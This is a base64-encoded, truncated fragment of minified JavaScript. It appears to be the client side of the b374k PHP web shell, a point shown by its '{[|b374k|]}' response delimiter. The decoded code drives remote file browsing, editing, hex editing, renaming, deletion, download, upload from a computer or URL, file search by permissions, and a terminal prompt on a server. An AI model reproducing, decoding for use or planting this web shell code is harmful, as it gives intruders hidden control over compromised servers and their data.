b24oZSl7ZHJhZ1g9ZS5wYWdlWDtkcmFnWT1lLnBhZ2VZfSk7c2V0VGltZW91dCgnZHJhZ19sb29wKCknLDUwKX19ZnVuY3Rpb24gZHJhZ19sb29wKCl7aWYob25EcmFnKXt4PWRyYWdYLWRyYWdEZWx0YVg7eT1kcmFnWS1kcmFnRGVsdGFZO2lmKHk8MCl5PTA7JCgnLmJveCcpLmNzcygnbGVmdCcseCsncHgnKTskKCcuYm94JykuY3NzKCd0b3AnLHkrJ3B4Jyk7c2V0VGltZW91dCgnZHJhZ19sb29wKCknLDUwKX19ZnVuY3Rpb24gZHJhZ19zdG9wKCl7b25EcmFnPWZhbHNlOyQoJ2JvZHknKS5vZmYoJ21vdXNlbW92ZScpfWZ1bmN0aW9uIGdldF9hbGxfY2JveF9zZWxlY3RlZChpZCxjYWxsYmFjayl7dmFyIGJ1ZmZlcj1uZXcgQXJyYXkoKTskKCcjJytpZCkuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbGwnKS5lYWNoKGZ1bmN0aW9uKGkpe2lmKChocmVmPXdpbmRvd1tjYWxsYmFja10oJCh0aGlzKSkpKXtidWZmZXJbaV09aHJlZn19KTtyZXR1cm4gYnVmZmVyfWZ1bmN0aW9uIGNib3hfYmluZChpZCxjYWxsYmFjayl7JCgnIycraWQpLmZpbmQoJy5jQm94Jykub2ZmKCdjbGljaycpOyQoJyMnK2lkKS5maW5kKCcuY0JveEFsbCcpLm9mZignY2xpY2snKTskKCcjJytpZCkuZmluZCgnLmNCb3gnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe2lmKCQodGhpcykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKXskKHRoaXMpLnJlbW92ZUNsYXNzKCdjQm94U2VsZWN0ZWQnKX1lbHNlICQodGhpcykuYWRkQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpO2lmKGNhbGxiYWNrIT1udWxsKXdpbmRvd1tjYWxsYmFja10oKX0pOyQoJyMnK2lkKS5maW5kKCcuY0JveEFsbCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7aWYoJCh0aGlzKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykpeyQoJyMnK2lkKS5maW5kKCcuY0JveCcpLnJlbW92ZUNsYXNzKCdjQm94U2VsZWN0ZWQnKTskKCcjJytpZCkuZmluZCgnLmNCb3hBbGwnKS5yZW1vdmVDbGFzcygnY0JveFNlbGVjdGVkJyl9ZWxzZXskKCcjJytpZCkuZmluZCgnLmNCb3gnKS5ub3QoJy5jQm94RXhjZXB0aW9uJykuYWRkQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpOyQoJyMnK2lkKS5maW5kKCcuY0JveEFsbCcpLm5vdCgnLmNCb3hFeGNlcHRpb24nKS5hZGRDbGFzcygnY0JveFNlbGVjdGVkJyl9aWYoY2FsbGJhY2shPW51bGwpd2luZG93W2NhbGxiYWNrXSgpfSl9ZnVuY3Rpb24gYWN0aW9uKHBhdGgsdHlwZSl7dGl0bGU9IkFjdGlvbiI7Y29udGVudD0nJztpZih0eXBlPT0nZmlsZScpY29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK3BhdGgrIicgZGlzYWJsZWQ+PC90ZD48L3RyPjx0ciBkYXRhLXBhdGg9JyIrcGF0aCsiJz48dGQ+PHNwYW4gY2xhc3M9J2VkaXQgYnV0dG9uJz5lZGl0PC9zcGFuPjxzcGFuIGNsYXNzPSdyZW4gYnV0dG9uJz5yZW5hbWU8L3NwYW4+PHNwYW4gY2xhc3M9J2RlbCBidXR0b24nPmRlbGV0ZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGwgYnV0dG9uJz5kb3dubG9hZDwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO2lmKHR5cGU9PSdkaXInKWNvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitwYXRoKyInIGRpc2FibGVkPjwvdGQ+PC90cj48dHIgZGF0YS1wYXRoPSciK3BhdGgrIic+PHRkPjxzcGFuIGNsYXNzPSdmaW5kIGJ1dHRvbic+ZmluZDwvc3Bhbj48c3BhbiBjbGFzcz0ndWwgYnV0dG9uJz51cGxvYWQ8L3NwYW4+PHNwYW4gY2xhc3M9J3JlbiBidXR0b24nPnJlbmFtZTwvc3Bhbj48c3BhbiBjbGFzcz0nZGVsIGJ1dHRvbic+ZGVsZXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7aWYodHlwZT09J2RvdCcpY29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK3BhdGgrIicgZGlzYWJsZWQ+PC90ZD48L3RyPjx0ciBkYXRhLXBhdGg9JyIrcGF0aCsiJz48dGQ+PHNwYW4gY2xhc3M9J2ZpbmQgYnV0dG9uJz5maW5kPC9zcGFuPjxzcGFuIGNsYXNzPSd1bCBidXR0b24nPnVwbG9hZDwvc3Bhbj48c3BhbiBjbGFzcz0ncmVuIGJ1dHRvbic+cmVuYW1lPC9zcGFuPjxzcGFuIGNsYXNzPSdkZWwgYnV0dG9uJz5kZWxldGU8L3NwYW4+PHNwYW4gY2xhc3M9J25ld2ZpbGUgYnV0dG9uJz5uZXcgZmlsZTwvc3Bhbj48c3BhbiBjbGFzcz0nbmV3Zm9sZGVyIGJ1dHRvbic+bmV3IGZvbGRlcjwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHRpdGxlLGNvbnRlbnQpO3hwbF9iaW5kKCl9ZnVuY3Rpb24gbmF2aWdhdGUocGF0aCxzaG93ZmlsZXMpe2lmKHNob3dmaWxlcz09bnVsbClzaG93ZmlsZXM9J3RydWUnO3NlbmRfcG9zdCh7Y2Q6cGF0aCxzaG93ZmlsZXM6c2hvd2ZpbGVzfSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7c3BsaXRzPXJlcy5zcGxpdCgne1t8YjM3NGt8XX0nKTtpZihzcGxpdHMubGVuZ3RoPT0zKXskKCcjbmF2JykuaHRtbChzcGxpdHNbMV0pO2lmKHNob3dmaWxlcz09J3RydWUnKXskKCcjZXhwbG9yZXInKS5odG1sKCcnKTskKCcjZXhwbG9yZXInKS5odG1sKHNwbGl0c1syXSk7c29ydHRhYmxlLmsoJCgnI3hwbFRhYmxlJykuZ2V0KDApKX0kKCcjdGVybWluYWxDd2QnKS5odG1sKGh0bWxfc2FmZShnZXRfY3dkKCkpKycmZ3Q7Jyk7eHBsX2JpbmQoKTt3aW5kb3dfcmVzaXplKCl9fX0pfWZ1bmN0aW9uIHZpZXcocGF0aCx0eXBlLHByZXNlcnZlVGltZXN0YW1wKXtpZihwcmVzZXJ2ZVRpbWVzdGFtcD09bnVsbClwcmVzZXJ2ZVRpbWVzdGFtcD0ndHJ1ZSc7c2VuZF9wb3N0KHt2aWV3RmlsZTpwYXRoLHZpZXdUeXBlOnR5cGUscHJlc2VydmVUaW1lc3RhbXA6cHJlc2VydmVUaW1lc3RhbXB9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXskKCcjZXhwbG9yZXInKS5odG1sKCcnKTskKCcjZXhwbG9yZXInKS5odG1sKHJlcyk7eHBsX2JpbmQoKTtzaG93X3RhYignZXhwbG9yZXInKTtpZigodHlwZT09J2VkaXQnKXx8KHR5cGU9PSdoZXgnKSl7ZWRpdFJlc3VsdD0odHlwZT09J2VkaXQnKT8kKCcjZWRpdFJlc3VsdCcpOiQoJyNlZGl0SGV4UmVzdWx0Jyk7aWYoZWRpdFN1Y2Nlc3M9PSdzdWNjZXNzJyl7ZWRpdFJlc3VsdC5odG1sKCcgKCBGaWxlIHNhdmVkICknKX1lbHNlIGlmKGVkaXRTdWNjZXNzPT0nZXJyb3InKXtlZGl0UmVzdWx0Lmh0bWwoJyAoIEZhaWxlZCB0byBzYXZlIGZpbGUgKScpfWVkaXRTdWNjZXNzPScnfWNib3hfYmluZCgnZWRpdFRibCcpfX0pfWZ1bmN0aW9uIHZpZXdfZW50cnkoZWwpe2lmKCQoZWwpLmF0dHIoJ2RhdGEtcGF0aCcpIT0nJyl7ZW50cnk9JChlbCkuYXR0cignZGF0YS1wYXRoJyk7JCgnI2Zvcm0nKS5hcHBlbmQoIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3ZpZXdFbnRyeScgdmFsdWU9JyIrZW50cnkrIic+Iik7JCgnI2Zvcm0nKS5zdWJtaXQoKTskKCcjZm9ybScpLmh0bWwoJycpfX1mdW5jdGlvbiByZW4ocGF0aCl7dGl0bGU9IlJlbmFtZSI7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+UmVuYW1lIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdyZW5hbWVGaWxlVG8nIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3Jlbl9nbycpO1wiPjxpbnB1dCB0eXBlPSdoaWRkZW4nIGNsYXNzPSdyZW5hbWVGaWxlJyB2YWx1ZT0nIitwYXRoKyInPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J3Jlbl9nbygpOyc+cmVuYW1lPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godGl0bGUsY29udGVudCl9ZnVuY3Rpb24gcmVuX2dvKCl7cmVuYW1lRmlsZT0kKCcucmVuYW1lRmlsZScpLnZhbCgpO3JlbmFtZUZpbGVUbz0kKCcucmVuYW1lRmlsZVRvJykudmFsKCk7c2VuZF9wb3N0KHtyZW5hbWVGaWxlOnJlbmFtZUZpbGUscmVuYW1lRmlsZVRvOnJlbmFtZUZpbGVUb30sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe25hdmlnYXRlKHJlcyk7JCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTskKCcucmVuYW1lRmlsZScpLnZhbCgkKCcucmVuYW1lRmlsZVRvJykudmFsKCkpfWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKX0pfWZ1bmN0aW9uIG5ld2ZvbGRlcihwYXRoKXt0aXRsZT0iTmV3IEZvbGRlciI7cGF0aD1wYXRoKyduZXdmb2xkZXItJyt0aW1lKCk7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Rm9sZGVyIE5hbWU8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J25ld0ZvbGRlcicgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbmV3Zm9sZGVyX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nbmV3Zm9sZGVyX2dvKCk7Jz5jcmVhdGU8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh0aXRsZSxjb250ZW50KX1mdW5jdGlvbiBuZXdmb2xkZXJfZ28oKXtuZXdGb2xkZXI9JCgnLm5ld0ZvbGRlcicpLnZhbCgpO3NlbmRfcG9zdCh7bmV3Rm9sZGVyOm5ld0ZvbGRlcn0sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe25hdmlnYXRlKHJlcyk7JCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKX1lbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyl9KX1mdW5jdGlvbiBuZXdmaWxlKHBhdGgpe3RpdGxlPSJOZXcgRmlsZSI7cGF0aD1wYXRoKyduZXdmaWxlLScrdGltZSgpO2NvbnRlbnQ9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkZpbGUgTmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nbmV3RmlsZScgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbmV3ZmlsZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J25ld2ZpbGVfZ28oKTsnPmNyZWF0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHRpdGxlLGNvbnRlbnQpfWZ1bmN0aW9uIG5ld2ZpbGVfZ28oKXtuZXdGaWxlPSQoJy5uZXdGaWxlJykudmFsKCk7c2VuZF9wb3N0KHtuZXdGaWxlOm5ld0ZpbGV9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXt2aWV3KG5ld0ZpbGUsJ2VkaXQnKTskKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIHN1Y2NlZWRlZCcpfWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKX0pfWZ1bmN0aW9uIHZpZXdmaWxlb3Jmb2xkZXIoKXt0aXRsZT0iVmlldyBGaWxlIC8gRm9sZGVyIjtjb250ZW50PSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3ZpZXdGaWxlb3JGb2xkZXInIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd2aWV3ZmlsZW9yZm9sZGVyX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0ndmlld2ZpbGVvcmZvbGRlcl9nbygpOyc+dmlldzwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHRpdGxlLGNvbnRlbnQpfWZ1bmN0aW9uIHZpZXdmaWxlb3Jmb2xkZXJfZ28oKXtlbnRyeT0kKCcudmlld0ZpbGVvckZvbGRlcicpLnZhbCgpO3NlbmRfcG9zdCh7dmlld0ZpbGVvckZvbGRlcjplbnRyeX0sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe2lmKHJlcz09J2ZpbGUnKXt2aWV3KGVudHJ5LCdhdXRvJyk7c2hvd190YWIoJ2V4cGxvcmVyJyl9ZWxzZSBpZihyZXM9PSdmb2xkZXInKXtuYXZpZ2F0ZShlbnRyeSk7c2hvd190YWIoJ2V4cGxvcmVyJyl9fX0pfWZ1bmN0aW9uIGRlbChwYXRoKXt0aXRsZT0iRGVsZXRlIjtjb250ZW50PSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5EZWxldGU8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2RlbGV0ZScgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZGVsZXRlX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nZGVsZXRlX2dvKCk7Jz5kZWxldGU8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh0aXRsZSxjb250ZW50KX1mdW5jdGlvbiBkZWxldGVfZ28oKXtwYXRoPSQoJy5kZWxldGUnKS52YWwoKTtzZW5kX3Bvc3Qoe2RlbGV0ZTpwYXRofSxmdW5jdGlvbihyZXMpe2lmKHJlcyE9J2Vycm9yJyl7bmF2aWdhdGUocmVzKTskKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIHN1Y2NlZWRlZCcpfWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKX0pfWZ1bmN0aW9uIGZpbmQocGF0aCl7ZmluZGZpbGU9Ijx0YWJsZSBjbGFzcz0nYm94dGJsJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPkZpbmQgRmlsZTwvcD48L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPlNlYXJjaCBpbjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZGZpbGVQYXRoJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZpbGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+RmlsZW5hbWUgY29udGFpbnM8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kZmlsZUZpbGVuYW1lJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZmluZF9nb19maWxlJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVGaWxlbmFtZVJlZ2V4Jz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVnZXg8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVGaWxlbmFtZUluc2Vuc2l0aXZlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+Q2FzZSBJbnNlbnNpdGl2ZTwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+RmlsZSBjb250YWluczwvdGQ+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRmaWxlQ29udGFpbnMnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZpbGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUNvbnRhaW5zUmVnZXgnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWdleDwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUNvbnRhaW5zSW5zZW5zaXRpdmUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5DYXNlIEluc2Vuc2l0aXZlPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkPlBlcm1pc3Npb25zPC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVSZWFkYWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlYWRhYmxlPC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlV3JpdGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5Xcml0YWJsZTwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUV4ZWN1dGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5FeGVjdXRhYmxlPC9zcGFuPjwvdGQ+PC90cj48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZmluZF9nb19maWxlKCk7XCI+ZmluZDwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0nZmluZGZpbGVSZXN1bHQnPjwvdGQ+PC90cj48L3Rmb290PjwvdGFibGU+IjtmaW5kZm9sZGVyPSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRoZWFkPjx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5GaW5kIEZvbGRlcjwvcD48L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPlNlYXJjaCBpbjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZEZvbGRlclBhdGgnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZm9sZGVyJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZvbGRlcm5hbWUgY29udGFpbnM8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kRm9sZGVybmFtZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZm9sZGVyJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZEZvbGRlcm5hbWVSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRGb2xkZXJuYW1lSW5zZW5zaXRpdmUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5DYXNlIEluc2Vuc2l0aXZlPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkPlBlcm1pc3Npb25zPC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZFJlYWRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVhZGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZFdyaXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+V3JpdGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZEV4ZWN1dGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5FeGVjdXRhYmxlPC9zcGFuPjwvdGQ+PC90cj48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZmluZF9nb19mb2xkZXIoKTtcIj5maW5kPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSdmaW5kUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7JCgnI2V4cGxvcmVyJykuaHRtbCgiPGRpdiBpZD0neHBsVXBsb2FkJz4iK2ZpbmRmaWxlKyc8YnI+JytmaW5kZm9sZGVyKyc8L2Rpdj4nKTtjYm94X2JpbmQoJ3hwbFVwbG9hZCcpfWZ1bmN0aW9uIGZpbmRfZ29fZmlsZSgpe2ZpbmRfZ28oJ2ZpbGUnKX1mdW5jdGlvbiBmaW5kX2dvX2ZvbGRlcigpe2ZpbmRfZ28oJ2ZvbGRlcicpfWZ1bmN0aW9uIGZpbmRfZ28oZmluZFR5cGUpe2ZpbmRQYXRoPShmaW5kVHlwZT09J2ZpbGUnKT8kKCcuZmluZGZpbGVQYXRoJykudmFsKCk6JCgnLmZpbmRGb2xkZXJQYXRoJykudmFsKCk7ZmluZFJlc3VsdD0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlUmVzdWx0Jyk6JCgnLmZpbmRSZXN1bHQnKTtmaW5kTmFtZT0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlRmlsZW5hbWUnKS52YWwoKTokKCcuZmluZEZvbGRlcm5hbWUnKS52YWwoKTtmaW5kTmFtZVJlZ2V4PShmaW5kVHlwZT09J2ZpbGUnKT8kKCcuZmluZGZpbGVGaWxlbmFtZVJlZ2V4JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRGb2xkZXJuYW1lUmVnZXgnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTtmaW5kTmFtZUluc2Vuc2l0aXZlPShmaW5kVHlwZT09J2ZpbGUnKT8kKCcuZmluZGZpbGVGaWxlbmFtZUluc2Vuc2l0aXZlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRGb2xkZXJuYW1lSW5zZW5zaXRpdmUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTtmaW5kQ29udGVudD0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlQ29udGFpbnMnKS52YWwoKToiIjtmaW5kQ29udGVudFJlZ2V4PShmaW5kVHlwZT09J2ZpbGUnKT8kKCcuZmluZGZpbGVDb250YWluc1JlZ2V4JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6IiI7ZmluZENvbnRlbnRJbnNlbnNpdGl2ZT0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlQ29udGFpbnNJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiO2ZpbmRSZWFkYWJsZT0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlUmVhZGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZFdyaXRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7ZmluZFdyaXRhYmxlPShmaW5kVHlwZT09J2ZpbGUnKT8kKCcuZmluZGZpbGVXcml0YWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kUmVhZGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTtmaW5kRXhlY3V0YWJsZT0oZmluZFR5cGU9PSdmaWxlJyk/JCgnLmZpbmRmaWxlRXhlY3V0YWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiQoJy5maW5kRXhlY3V0YWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpO3NlbmRfcG9zdCh7ZmluZFR5cGU6ZmluZFR5cGUsZmluZFBhdGg6ZmluZFBhdGgsZmluZE5hbWU6ZmluZE5hbWUsZmluZE5hbWVSZWdleDpmaW5kTmFtZVJlZ2V4LGZpbmROYW1lSW5zZW5zaXRpdmU6ZmluZE5hbWVJbnNlbnNpdGl2ZSxmaW5kQ29udGVudDpmaW5kQ29udGVudCxmaW5kQ29udGVudFJlZ2V4OmZpbmRDb250ZW50UmVnZXgsZmluZENvbnRlbnRJbnNlbnNpdGl2ZTpmaW5kQ29udGVudEluc2Vuc2l0aXZlLGZpbmRSZWFkYWJsZTpmaW5kUmVhZGFibGUsZmluZFdyaXRhYmxlOmZpbmRXcml0YWJsZSxmaW5kRXhlY3V0YWJsZTpmaW5kRXhlY3V0YWJsZX0sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe2ZpbmRSZXN1bHQuaHRtbChyZXMpfX0pfWZ1bmN0aW9uIHVsX2dvX2NvbXAoKXt1bF9nbygnY29tcCcpfWZ1bmN0aW9uIHVsX2dvX3VybCgpe3VsX2dvKCd1cmwnKX1mdW5jdGlvbiB1bChwYXRoKXt1bGNvbXB1dGVyPSI8dGFibGUgY2xhc3M9J2JveHRibCB1bGNvbXAnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+VXBsb2FkIEZyb20gQ29tcHV0ZXIgPGEgb25jbGljaz0ndWxfYWRkX2NvbXAoKTsnPi